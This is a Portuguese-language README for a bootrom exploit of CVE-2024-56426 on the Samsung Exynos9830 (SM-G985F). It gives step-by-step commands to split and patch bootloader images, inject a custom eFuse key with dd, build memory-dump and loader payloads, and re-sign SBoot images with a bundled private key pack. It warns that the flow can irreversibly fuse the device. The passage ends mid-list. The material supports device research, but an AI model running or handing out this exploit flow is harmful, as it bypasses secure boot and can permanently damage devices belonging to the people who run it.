
CVE-2024-56426 Exploit do Bootrom Exynos9830 - SM-G985F
[!CAUTION] O pacote de chaves atual e os arquivos gerados são capazes de fusing. Depois que um dispositivo é submetido ao fusing, a alteração do eFuse é irreversível e o dispositivo deve continuar a usar imagens de boot e material de chaves que correspondam à chave gravada. O uso desses arquivos ou fluxos é por sua conta e risco por causa do comportamento de fusing; todas as consequências permanecem sob responsabilidade do usuário que os executa. Verifique o arquivo eFuse, as chaves privadas, o FWBL1 assinado, as imagens LK /
sboot.bine o dispositivo de destino antes de executar qualquer fluxo de fusing.
| Caminho | Finalidade |
|---|---|
bootLoaderFiles/ | Binários do bootloader, partes do bootloader divididas, imagens originais, imagens descriptografadas e artefatos de dump. |
bootromNotes/ | Notas da ROM de boot, fluxogramas e offsets de contexto USB. |
exploit/ | Ferramentas Python, executor de exploit, scripts de divisão/mesclagem, auxiliar de compilação de payload e dados do SoC. |
exploit/extra/images/ | Imagens de bootloader funcionais consumidas pelos fluxos de exploit. |
exploit/extra/payloads/ | Binários de payload compilados copiados de external/payloads/. |
external/ | Fontes do payload, Makefile de compilação, notas decompiladas, material de chaves compartilhado e ferramentas auxiliares. |
external/keys/exynos9830_crecker/ | Pacote de chave personalizada compartilhado do Exynos9830 / Exynos990 usado pelo fluxo de carregador assinado. |
exynos990reverseEng/ | Arquivos do projeto de engenharia reversa do Exynos 990. |
sudo apt-get update
sudo apt-get install -y gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu
python3 -m pip install -r requirements.txt
requirements.txt inclui coloredlogs, cryptography, hexdump, libusb, pyusb e pycryptodome.
No Windows, o dispositivo 04e8:1234 da BootROM deve usar um driver compatível com WinUSB/libusb
antes que o PyUSB possa abri-lo. Consulte exploit/windows/README.md.
O repositório inclui um pacote de driver WinUSB em
exploit/windows/Exynos_USB_Device.inf, com seu catálogo correspondente e o arquivo
de importação de certificado no mesmo diretório.
sboot.binpython3 exploit/split.py bootLoaderFiles/originalSboot_K/sboot.bin -o exploit/extra/images
O script de divisão grava as partes da imagem e um arquivo split_manifest.json no diretório de saída.
A imagem do LK deve usar os IDs de comando da chave 2 de boot seguro da ROM para o fluxo de chave personalizada:
| Comando da chave 1 | Valor | Comando da chave 2 | Valor |
|---|---|---|---|
CMD_W_ROM_SEC_BOOT_KEY1 | 0x001 | CMD_W_ROM_SEC_BOOT_KEY2 | 0x016 |
CMD_W_USE_ROM_SEC_BOOT_KEY1 | 0x002 | CMD_W_USE_ROM_SEC_BOOT_KEY2 | 0x017 |
CMD_C_ROM_SEC_BOOT_KEY1 | 0x100 | CMD_C_ROM_SEC_BOOT_KEY2 | 0x114 |
CMD_R_USE_ROM_SEC_BOOT_KEY1 | 0x101 | CMD_R_USE_ROM_SEC_BOOT_KEY2 | 0x115 |
Ao aplicar o TSV de patch do LK dentro do projeto Ghidra, o auxiliar foi chamado por meio do Ghidra headless da seguinte forma:
GHIDRA=/path/to/ghidra_12.0.4_PUBLIC
REPO=$(pwd)
"$GHIDRA/support/analyzeHeadless" "$REPO/exynos990reverseEng" exynos990 \
-process lk.bin \
-noanalysis \
-scriptPath "$REPO/external/ghidra" \
-postScript ApplyLkPatches.java "$REPO/external/ghidra/lk_985_selected_patches.tsv"
Insira a chave eFuse de 32 bytes em lk.bin no offset 0x205008, substituindo a chave original:
dd if=external/keys/exynos9830_crecker/crecker.efuse of=exploit/extra/images/lk.bin bs=1 seek=$((0x205008)) count=32 conv=notrunc
xxd -g1 -s $((0x205008)) -l 32 exploit/extra/images/lk.bin
python3 exploit/merge.py exploit/extra/images Exynos9830
O script de mesclagem grava sboot.bin no diretório de trabalho atual.
Compile os projetos de payload em external/payloads/ e copie os binários resultantes em exploit/extra/payloads/:
./exploit/build_payloads.sh
| Payload | Caminho de saída | Finalidade |
|---|---|---|
mem.bin | exploit/extra/payloads/mem.bin | Payload de dump de memória da ROM de boot. |
loader.bin | exploit/extra/payloads/loader.bin | Payload do caminho UFS usado por --ufs. |
Exynos990_boot_custom_key.bin | exploit/extra/payloads/Exynos990_boot_custom_key.bin | Payload de carregador assinado com chave personalizada usado por --signed. |
O carregador UFS e o payload de chave personalizada incorporam um arquivo efuse de 32 bytes no momento
da compilação. Por padrão, o Makefile lê external/keys/exynos9830_crecker/crecker.efuse;
substitua isso por CUSTOM_KEY_EFUSE=/path/to/crecker.efuse quando necessário.
A etapa de pré-verificação executada por exploit/exploit.py reassina o conjunto de imagens SBoot em
exploit/extra/images/ no próprio local antes de cada execução assinada. Nenhuma saída assinada
separada é mantida. A etapa de assinatura usa o pacote de chaves compartilhado intencionalmente rastreado
em external/keys/exynos9830_crecker/.
Comando equivalente na raiz do repositório para o conjunto completo de imagens:
python3 external/tools/sign_sboot_images.py \
--images-dir exploit/extra/images \
--keys-dir external/keys/exynos9830_crecker
Isto assina: